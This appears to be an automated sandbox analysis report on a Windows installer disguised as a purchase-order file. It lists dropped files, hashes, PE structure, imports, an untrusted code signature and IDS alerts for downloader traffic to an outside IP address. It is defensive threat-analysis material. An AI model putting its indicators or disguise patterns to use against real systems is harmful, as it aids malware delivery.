Entropy (8bit):	5.770803561213006
Encrypted:	false
SSDEEP:	192:vPtkumJX7zB22kGwfy0mtVgkCPOsE1un:k702k5qpdsEQn
MD5:	2AE993A2FFEC0C137EB51C8832691BCB
SHA1:	98E0B37B7C14890F8A599F35678AF5E9435906E1
SHA-256:	681382F3134DE5C6272A49DD13651C8C201B89C247B471191496E7335702FA59
SHA-512:	2501371EB09C01746119305BA080F3B8C41E64535FF09CEE4F51322530366D0BD5322EA5290A466356598027E6CDA8AB360CAEF62DCAF560D630742E2DD9BCD9
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: PO-000041522.exe, Detection: malicious, Browse Filename: PO-000041522.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Program.Unwanted.1283.21599.30651.exe, Detection: malicious, Browse Filename: cuenta iban-ES65.exe, Detection: malicious, Browse Filename: cuenta iban-ES65.exe, Detection: malicious, Browse Filename: cuenta iban-ES65.exe, Detection: malicious, Browse Filename: cuenta iban-ES65.exe, Detection: malicious, Browse Filename: rResegregation.exe, Detection: malicious, Browse Filename: rResegregation.exe, Detection: malicious, Browse Filename: W1nnerFree CS2.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......)...m.m.m...k.m.~....j.9..i....l....l.Richm.........................PE..L...tc.W...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text...O........................... ..`.rdata..S....0......."..............@..@.data...h....@.......&..............@....reloc..`....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Redamation.Nyk

Download File

Process:	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe
File Type:	data
Category:	dropped
Size (bytes):	149100
Entropy (8bit):	4.5927109777566155
Encrypted:	false
SSDEEP:	3072:n/fnJh9wbYm/+4bdKB2UAj++eFMf/XQMWVwv:X9wbYs+4bwtI4jwv
MD5:	421A6E691BF1E11F6269EBA35642D518
SHA1:	CCAEBD5063934644EDCE97B06A593F31D00AE4E6
SHA-256:	4730C80B0C78B905D42BE22E39BB0553FF66D18FE3F72E956EE95C4E425516B6
SHA-512:	9EA15D0B75F3A9F455BD25ECFD3A1AAB7764C528A8C2092B73F0C2226DFFB8666873EAAC6A86C30FF44431C93090ADCDAA911AA3AF2825B3542B48C5F92ACFB2
Malicious:	false
Reputation:	low
Preview:	...c.....;......pp.......................................................HHH.........................LL..........]]................xxxx.....hh..qqq..........h....~~~.........4.......`.....k...l.......!..............u...........``..............ll..*......,................>>>.........--.k.;.....0..FFF...p........r.LLLL..6666......FF...((......WW...............PPPPPPP......{........O.......p.!.0...................N.......................9...#................d...+...i............{......%.......G..........GGG.\|.......4..__.....b...........................WW...........(((.......FFFF....].....x....m...........::::::.......j...............fff...Z. .oooo.o...TTT..........\\................QQQ..........\|......NN...............jj...TT.....................i.....n...""".i.............eee.......((((. ...'...L...........+++.........x....<<<.....>>>.............G...........T.....9..............n.~....;..V...............tt.............6.o........OOOO........t......j.....l.......3333..E.TT.=..........W

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\Transfunderedes\uhviskes.com

Download File

Process:	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe
File Type:	data
Category:	dropped
Size (bytes):	489577
Entropy (8bit):	1.2547186421876628
Encrypted:	false
SSDEEP:	1536:E/ujv57uZhomnVCSJm9XbVL7qQ/NAq6gusqocKJjh8zOdV:E/67S/n5mpLH/RusDlT
MD5:	917EE012CBF9DD581CA73C76C7FE4CA0
SHA1:	0C99AC2CAEED895B940935D72A2A5FD3176D8C85
SHA-256:	09B342C70E64D68438917385DD67258EF7C4A2E4D6ED923BC52525A40540698A
SHA-512:	AE2552898CA689DE35FC21E6F36E38CF1B2F6CE623B70CA4EF4FF5B18DB863059CBE8EADEEA9A18CEEAD756AC4B25E812F52B012E6E32CBC3F26C18393259324
Malicious:	false
Reputation:	low
Preview:	..............v.........................................................................................................................._X......k............b.........J...................................X....................................................................................................\|........Z..........................].............................................:.........#..............................................................................................................O..............................O..................................................................................E............................U........................................E........................................:........D..................................................g...Q.................................................................................z..=........................E..%............................................................................*..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\absumption.kor

Download File

Process:	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe
File Type:	data
Category:	dropped
Size (bytes):	371165
Entropy (8bit):	1.2513716385265512
Encrypted:	false
SSDEEP:	768:Sj9TDV4iwR5i6JNPLINN0L+xs+EkTFvjCbJt1zs8kCmx+87wymjP6IzDWZ0rQPyQ:Asy0kRS/GkjABLBfp92S
MD5:	C639B5AEA098D21378EFE3AD3A554633
SHA1:	0E10CDE4A6AD7B89BB3FD1628C6D025BF466989B
SHA-256:	28FA6948793CA0E3C62F408CD9E546169C227B17F96C9CF3B9112E6980A503A1
SHA-512:	8312B421FC185D5ECBE5ED3854F9B54589F3142214196DF8EC8DAA71911F06F04283ED9EEA1DE213CD5B03EBA9AB1DDC95F39685E737201519FD9DC5369164EE
Malicious:	false
Reputation:	low
Preview:	.............q.............................................&.......................\............................................................J]..................................................\|...............P..........................................................d......................................................r..........................................................I..................................#...................!..............9...........................................................................6...................................G...........O..........................................................................2...C..................4......................................................................................T...............................X.......................................................................................4.................8.........~...................i......6....+........E.h........g.................{..............&.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\autographist.udd

Download File

Process:	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe
File Type:	data
Category:	dropped
Size (bytes):	474733
Entropy (8bit):	1.2605066942170449
Encrypted:	false
SSDEEP:	1536:Kps3n4nM/CfcQfsOj6JcTW81rboM0aADXq34CpG0OC:Cenqxv0OBTpQMLo
MD5:	D52ECA89A6A6583AA5868C668B52F497
SHA1:	82BF52ABA58EDBB83EBB92C01EAAC9CA37189D9F
SHA-256:	0ECDFEF080A86A8F200ED06CA6067273A1105F1914DEAE7D92E09B873ABCF83C
SHA-512:	6607B8EBB9CC607D3531799052DC6F4F478E4326B5E6E803401E545DD5338815FA80B6E6E61509C1BA2B5719F6A80A681B7EA101540979A4C7D52863D8831E24
Malicious:	false
Reputation:	low
Preview:	.....a.....................!...........................................................,.............v.............................................}..................G..................................................._..............J................S.........................................................................A........................................................LS3............................................................................E...................................^.........s........ .h.............................&.?...................6..................;............C.....(.............s.....................M......................X.....................n..............................................................................................................:.;....................*.....`......_...................................................f........................................?..........`...U@.......;..............................D.......2........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\hornfisks.woo

Download File

Process:	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe
File Type:	Matlab v4 mat-file (little endian) , numeric, rows 0, columns 0
Category:	dropped
Size (bytes):	227593
Entropy (8bit):	1.245920806085396
Encrypted:	false
SSDEEP:	768:3FhKKzByuBwwTbYXu9OgQhU0e6nWp1ZWY4+7j8nc+kf5GfMw1ZK8In+/JNS3xOnr:SepZWYpAGLQIM+q
MD5:	9A1B6F2854A5B3F5E97159F4D30C47B3
SHA1:	C9B33BDD32498DCCB62D229C95608AD0F8655BA3
SHA-256:	6A5ECDC720F8A9DC660732354490F997C5D46C1E7BDF97FE0129D31D5C231021
SHA-512:	4F74B2F52F66768B670DD65D42414464630C99637004A7560DDFCB52CEA706A659EA4F382C169DB740B8DD59BC15FE604F0A6F2B3164EE3D09046AAC83C6FD53
Malicious:	false
Preview:	.......................:............G3........u.......................O..........5...........O...........................................................................................K...................j..1...........[................U....................l...........................................y...........`......................................F........................................................................................................................................................................O...B.......g............E........................................................=.........................9...H........................................L.............................u................................................................................................................4..............................................j..%.....................8............J...........................................................................................v....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\lighty.sto

Download File

Process:	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe
File Type:	data
Category:	dropped
Size (bytes):	327412
Entropy (8bit):	1.2530468011510671
Encrypted:	false
SSDEEP:	768:aBILyFjGgwtorVDke1ghsijjk5HkK7lHTeeVybsz2dzpMuDx+Hmoy1f4fZDXCTqJ:94bZ/PRHoZSZdGU6lJ8/fqAGC
MD5:	EB81829745DF6650D0C09CBADCADB6FD
SHA1:	4FA3AA68D878034C8AAF56013C403A0540B93AF4
SHA-256:	9DD8E06CAF3EA5960465EB5466FE13ED3F41FE276C1D7314373ECF3993DFB992
SHA-512:	7EFE0B56249B05AFB8AA1C6EFABC773E65D19ABD773F3F462691539F4DCA5AF06B0F7A291FE1E3F4B535A01D7A34E6ACB6C720F0A6C1959FB871635F68463CD3
Malicious:	false
Preview:	..........i..............................................................................................;............................~...........................F....................._.......n...b........$.............<...........................................................................................^.................................................e...........................J.........................&..................................o................................f..............~...........................................................O.....$.!.................:..................9...9........]...............................................I........................................................N}............4.........................a..T..........g....................................K.............................[......o..............................................................J..........................L.......................;...............................)....

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\nonarbitrable.txt

Download File

Process:	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	364
Entropy (8bit):	4.3235645552878115
Encrypted:	false
SSDEEP:	6:oiK7uqJ3jJ/b1w8IDz5E1WZVpVMmhE4HBFqTZWMWFXijWYBLSWDuPM5iSubpQpZu:oh7uSW68ZVpVekB6ZWMWdgrvDY+inyAT
MD5:	C2A47524DCF9687FA180FA2E3F8A4362
SHA1:	1C6D3ACC056ECECE019DE3EE9977DA451E4A6379
SHA-256:	FDBBF1DFDC69C2B28CFF480273FB9D83A217D699D708105B7166CD0BE5627218
SHA-512:	DE30697525C80EE8D1DCE3437374D83A6CA49C8CF11C73BDE2DEB26CA40B1F7ED7298F0871A8F32770C16F8CC944A2072CF4906CF130F50A9F4AB4C30E557E2C
Malicious:	false
Preview:	sheitan interruptable lsesummen,mercurialising engage rilievo fringe dobbeltdomicilernes chionodoxa chromascope,udreder leveraging lippering.bldsden vagtselskabers dentalized prussianised demifusion nachas..reboards skildvagter versiculi planetarily seksualhygiejnens bryllupsmarchens..strophe transformative unshapenly pharmacopeial afskedshilsners udsalgssteder.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\spokesmen.thr

Download File

Process:	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe
File Type:	data
Category:	dropped
Size (bytes):	264011
Entropy (8bit):	1.2602368630758787
Encrypted:	false
SSDEEP:	768:x1U384UpGgVCi2XHks9XVNargfQMkIRUpbvS2h2BjyujykSAtE1blsA9IiPi9OhW:x1Uz+6EuhMbJkzpAq+Kk0
MD5:	D9EB4DA16650571C58C1B347FB8D27F1
SHA1:	C02B382B23D249C7FAAF45D8191F64871FA025A5
SHA-256:	17A67A6731D1EF2DFE9C0A1E52CA0589968E9F61FF52FBE67B39DC3E39D36CFF
SHA-512:	B437679FD218DBC6CDA0C1EA598B597389E34BBAA3DE913CFEC564E226D3D55E84B4290CA076A6DC66E7018EE95AE1EE6007DB19F87DC68B459FCAFAF34D8E9D
Malicious:	false
Preview:	....o../._r.............................5...E.................................................................................p..............................>R.s....................................M.....R..........................................`.x.........q..............................................................OG.D..........................<.................(....................................................................d...............................n...........................................r....n........................e.....................d.......................................................................g..f..........J.....................................................................L....t..................8.........................................p....f....................................g..............................................D.....C............z..........................................................................................#............

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Trangsvurderingens\stumprumpet.und

Download File

Process:	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe
File Type:	data
Category:	dropped
Size (bytes):	438970
Entropy (8bit):	1.254355464810577
Encrypted:	false
SSDEEP:	768:bzV5RkJ99odavaG4W/vwV9bW9Iy6F5XTP/BtOax/XXluFr9jT6nHttP+Uf6FAqj3:P/vAoMGFHEUaviFWCDH1M5AOfE
MD5:	CA0365FACD33769129F762C843983283
SHA1:	E6C95B658A13E598AE6AF5F71A0D577C84BE7B26
SHA-256:	C8ED8546722F12C51800EDAEB09F659B59CFA6B8B8E3B0FDC55267A7E5560A20
SHA-512:	AE3ED0C51571CC90F65A8E58744E4002302E43B3D40E71C87A0223DEB7E9C5DFD1370C0AB1262E12F900E6A85C5CEA82B115D5EC8697CEF9F5EFAF555D2153C7
Malicious:	false
Preview:	............................................-..D..2............................................................`................................[...........................................s..........................................................`.......{.......................................i................s........................{..............D.........g......:.....................C...........................................................................................6...................4.-..................................................S............................a......................................................N.+............................................................................................................................................................................_.T.....................................................................................................(...........%............................A.......................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\snrkler\blaamunkerne\Vvstypernes.Kip

Download File

Process:	C:\Users\user\Desktop\PO-10212024168877 PNG2023-W101.exe
File Type:	data
Category:	dropped
Size (bytes):	397463
Entropy (8bit):	7.6041948582257115
Encrypted:	false
SSDEEP:	6144:TwUNcvIcaJuDN7kf9ayFt2D2ilY/wqavY/WXMOSZyGwXRCgdSdPv:M7v7Cmm91DwqZ/GM1wBCWSRv
MD5:	02E622DDF81785F4767032D5E8DB7262
SHA1:	8A2DD01E7CA1A096A421D3FF6E052567A37F84E9
SHA-256:	C413FCB833CA6BD78CC195FA4DB14256FB79592475DB91B0FBA932D333D536B8
SHA-512:	AB617A8710FA80715F567DD03B45B209FB1999EBDBFDA263CAEFE65F01C6E744912BD4BFA291DF6B6AAB351A2E7C0E1825470676FFF21524083E7BC6DEC8EA80
Malicious:	false
Preview:	.cc........aaaa....O....LL......x................:..........D.........................__........................qq.$$.++.................I.................vvv.........2.....(((....$$$..eee.....bbb.................;..............r..e.##.m..........LLL.......w....4....5+.........4r.].m......W.<YF...BIw..l.,..f....a....0.......b.....`.8".O .7j...........R...G8..........f.h..5..).....p..}..'TVNg......?Q_6.../;.-C.."d%.h..Z.U.#..H.E.....7%\>...e...1z..J0..k....x....Ko.DA.....L(...~...s.23........;.!....t.u.............&......9a-....{.........5+.....f.........=...4r.].m......W.<YF...BIw..l.,..~.......b.....`.8".O ...W.xf.i....#j...........R...G8.......).....p....n.....0..'TVNg......?Q_6.../;.-C.."d%.h..Z.U.#.%\>...f...f......,...1z..J0..k....x....Ko.DA.....L(...~....I...........23..!....t.u.............&......9a-....{.......t.....5.....5+.........4r.].m......W.<YF...BIw..l.,......q.c...0.......b.....`.8".O .7j...........R...G8......"c.......

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.985778364989345
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	PO-10212024168877 PNG2023-W101.exe
File size:	918'336 bytes
MD5:	e7504a48d78545ef459890b5c36b6b17
SHA1:	7dd9b7b12c2a58f83235edd771801bae8b94b6f3
SHA256:	7d0590445da76f1149aefce04bc517b15b330871cd3bd8c196a032e28588ee9e
SHA512:	debd95e4955e2d07459336bd572df515aa0baffbdc736ea4ea0e0214b3d88e8d75c94f955090f6b65cfbc31456704b01371194d768f56f25363a9801fc7b7424
SSDEEP:	24576:LC84KQgxA541tRNeB+ihvheI+op15CQN08KXQoGxq:dNxA54rRwB+ihj+HQk98q
TLSH:	0E15236255FD5A03F336A2708D6F7B5A5CB72DC0083310376B223B665C3EAE9B21596C
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........@............/...........s.../...............+.......Rich............................PE..L....c.W.................^....9....

File Icon


Icon Hash:	43caa1a1a185ada9

Static PE Info

General

Entrypoint:	0x4030ec
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x5795637F [Mon Jul 25 00:55:27 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	b78ecf47c0a3e24a6f4af114e2d1f5de

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Fellifluous, O=Fellifluous, L=Noyal-sur-Vilaine, C=FR
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	29/11/2023 05:29:46 28/11/2026 05:29:46
Subject Chain	CN=Fellifluous, O=Fellifluous, L=Noyal-sur-Vilaine, C=FR
Version:	3
Thumbprint MD5:	BB730EF06FEAC92031A32EB3E64DA9D7
Thumbprint SHA-1:	94015799792140B863341F079827FE8696F4FD67
Thumbprint SHA-256:	24E7F2711FAB55DD21662745411BA6363E016C6367C4634E2C5CA47EF46E4580
Serial:	1B5AEF7D872DDCBC040160974F2262F5E2404F23

Entrypoint Preview

Instruction
sub esp, 00000184h
push ebx
push esi
push edi
xor ebx, ebx
push 00008001h
mov dword ptr [esp+18h], ebx
mov dword ptr [esp+10h], 00409198h
mov dword ptr [esp+20h], ebx
mov byte ptr [esp+14h], 00000020h
call dword ptr [004070A8h]
call dword ptr [004070A4h]
cmp ax, 00000006h
je 00007F2D355563D3h
push ebx
call 00007F2D35559341h
cmp eax, ebx
je 00007F2D355563C9h
push 00000C00h
call eax
mov esi, 00407298h
push esi
call 00007F2D355592BDh
push esi
call dword ptr [004070A0h]
lea esi, dword ptr [esi+eax+01h]
cmp byte ptr [esi], bl
jne 00007F2D355563ADh
push ebp
push 00000009h
call 00007F2D35559314h
push 00000007h
call 00007F2D3555930Dh
mov dword ptr [007A1F44h], eax
call dword ptr [00407044h]
push ebx
call dword ptr [00407288h]
mov dword ptr [007A1FF8h], eax
push ebx
lea eax, dword ptr [esp+38h]
push 00000160h
push eax
push ebx
push 0079D500h
call dword ptr [00407174h]
push 00409188h
push 007A1740h
call 00007F2D35558F37h
call dword ptr [0040709Ch]
mov ebp, 007A8000h
push eax
push ebp
call 00007F2D35558F25h
push ebx
call dword ptr [00407154h]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x7428	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x3be000	0xe18	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xdf100	0x1240	.data
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x7000	0x298	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x5db6	0x5e00	f367801e476b699be2b532039e0b583c	False	0.6806848404255319	data	6.508470969322742	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x7000	0x1246	0x1400	43fab6a80651bd97af8f34ecf44cd8ac	False	0.42734375	data	5.005029341587408	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0x9000	0x399038	0x400	29ebcbec0bd7bd0fecb3d2937195c560	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x3a3000	0x1b000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x3be000	0xe18	0x1000	bfb4537f3eb7566a74ccdeac7c775284	False	0.352783203125	data	3.842480295105669	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x3be208	0x2e8	Device independent bitmap graphic, 32 x 64 x 4, image size 512	English	United States	0.23655913978494625
RT_DIALOG	0x3be4f0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x3be5f0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x3be710	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x3be7d8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x3be838	0x14	data	English	United States	1.15
RT_VERSION	0x3be850	0x288	data	English	United States	0.5108024691358025
RT_MANIFEST	0x3bead8	0x33d	XML 1.0 document, ASCII text, with very long lines (829), with no line terminators	English	United States	0.5536791314837153

Imports

DLL	Import
KERNEL32.dll	SetEnvironmentVariableA, Sleep, GetTickCount, GetFileSize, GetModuleFileNameA, GetCurrentProcess, CopyFileA, GetFileAttributesA, SetFileAttributesA, GetWindowsDirectoryA, GetTempPathA, GetCommandLineA, lstrlenA, GetVersion, SetErrorMode, lstrcpynA, ExitProcess, GetFullPathNameA, GlobalLock, CreateThread, GetLastError, CreateDirectoryA, CreateProcessA, RemoveDirectoryA, CreateFileA, GetTempFileNameA, ReadFile, WriteFile, lstrcpyA, MoveFileExA, lstrcatA, GetSystemDirectoryA, GetProcAddress, CloseHandle, SetCurrentDirectoryA, MoveFileA, CompareFileTime, GetShortPathNameA, SearchPathA, lstrcmpiA, SetFileTime, lstrcmpA, ExpandEnvironmentStringsA, GlobalUnlock, GetDiskFreeSpaceA, GlobalFree, FindFirstFileA, FindNextFileA, DeleteFileA, SetFilePointer, GetPrivateProfileStringA, FindClose, MultiByteToWideChar, FreeLibrary, MulDiv, WritePrivateProfileStringA, LoadLibraryExA, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, GlobalAlloc
USER32.dll	ScreenToClient, GetSystemMenu, SetClassLongA, IsWindowEnabled, SetWindowPos, GetSysColor, GetWindowLongA, SetCursor, LoadCursorA, CheckDlgButton, GetMessagePos, LoadBitmapA, CallWindowProcA, IsWindowVisible, CloseClipboard, SetClipboardData, EmptyClipboard, PostQuitMessage, GetWindowRect, EnableMenuItem, CreatePopupMenu, GetSystemMetrics, SetDlgItemTextA, GetDlgItemTextA, MessageBoxIndirectA, CharPrevA, DispatchMessageA, PeekMessageA, ReleaseDC, EnableWindow, InvalidateRect, SendMessageA, DefWindowProcA, BeginPaint, GetClientRect, FillRect, DrawTextA, EndDialog, RegisterClassA, SystemParametersInfoA, CreateWindowExA, GetClassInfoA, DialogBoxParamA, CharNextA, ExitWindowsEx, GetDC, CreateDialogParamA, SetTimer, GetDlgItem, SetWindowLongA, SetForegroundWindow, LoadImageA, IsWindow, SendMessageTimeoutA, FindWindowExA, OpenClipboard, TrackPopupMenu, AppendMenuA, EndPaint, DestroyWindow, wsprintfA, ShowWindow, SetWindowTextA
GDI32.dll	SelectObject, SetBkMode, CreateFontIndirectA, SetTextColor, DeleteObject, GetDeviceCaps, CreateBrushIndirect, SetBkColor
SHELL32.dll	SHGetSpecialFolderLocation, SHGetPathFromIDListA, SHBrowseForFolderA, SHGetFileInfoA, ShellExecuteA, SHFileOperationA
ADVAPI32.dll	RegDeleteKeyA, SetFileSecurityA, OpenProcessToken, LookupPrivilegeValueA, AdjustTokenPrivileges, RegOpenKeyExA, RegEnumValueA, RegDeleteValueA, RegCloseKey, RegCreateKeyExA, RegSetValueExA, RegQueryValueExA, RegEnumKeyA
COMCTL32.dll	ImageList_Create, ImageList_AddMasked, ImageList_Destroy
ole32.dll	OleUninitialize, OleInitialize, CoTaskMemFree, CoCreateInstance

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-29T20:37:35.807943+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49976	62.215.181.250	443	TCP
2024-10-29T20:37:37.732080+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49977	62.215.181.250	443	TCP
2024-10-29T20:37:39.641205+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49978	62.215.181.250	443	TCP
2024-10-29T20:37:41.591458+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49979	62.215.181.250	443	TCP
2024-10-29T20:37:43.528233+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49980	62.215.181.250	443	TCP
2024-10-29T20:37:45.434865+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49981	62.215.181.250	443	TCP
2024-10-29T20:37:47.357938+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49982	62.215.181.250	443	TCP
2024-10-29T20:37:49.306233+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49983	62.215.181.250	443	TCP
2024-10-29T20:37:51.423389+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49984	62.215.181.250	443	TCP
2024-10-29T20:37:53.374891+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49985	62.215.181.250	443	TCP
2024-10-29T20:37:55.330913+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49986	62.215.181.250	443	TCP
2024-10-29T20:37:57.283182+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49987	62.215.181.250	443	TCP
2024-10-29T20:37:59.264188+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49988	62.215.181.250	443	TCP
2024-10-29T20:38:01.187500+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49989	62.215.181.250	443	TCP
2024-10-29T20:38:03.399785+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49990	62.215.181.250	443	TCP
2024-10-29T20:38:06.396302+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49991	62.215.181.250	443	TCP
2024-10-29T20:38:08.666816+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49992	62.215.181.250	443	TCP
2024-10-29T20:38:10.646802+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49993	62.215.181.250	443	TCP
2024-10-29T20:38:12.581802+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49994	62.215.181.250	443	TCP
2024-10-29T20:38:14.525452+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49995	62.215.181.250	443	TCP
2024-10-29T20:38:16.488780+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49996	62.215.181.250	443	TCP
2024-10-29T20:38:18.423095+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49997	62.215.181.250	443	TCP
2024-10-29T20:38:21.363149+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49998	62.215.181.250	443	TCP
2024-10-29T20:38:23.299165+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49999	62.215.181.250	443	TCP
2024-10-29T20:38:25.234889+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50000	62.215.181.250	443	TCP
2024-10-29T20:38:27.329904+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50001	62.215.181.250	443	TCP
2024-10-29T20:38:29.261822+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50002	62.215.181.250	443	TCP
2024-10-29T20:38:31.728462+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50003	62.215.181.250	443	TCP
2024-10-29T20:38:33.685339+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50004	62.215.181.250	443	TCP
2024-10-29T20:38:35.854783+0100	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	50005	62.215.181.250	443	TCP
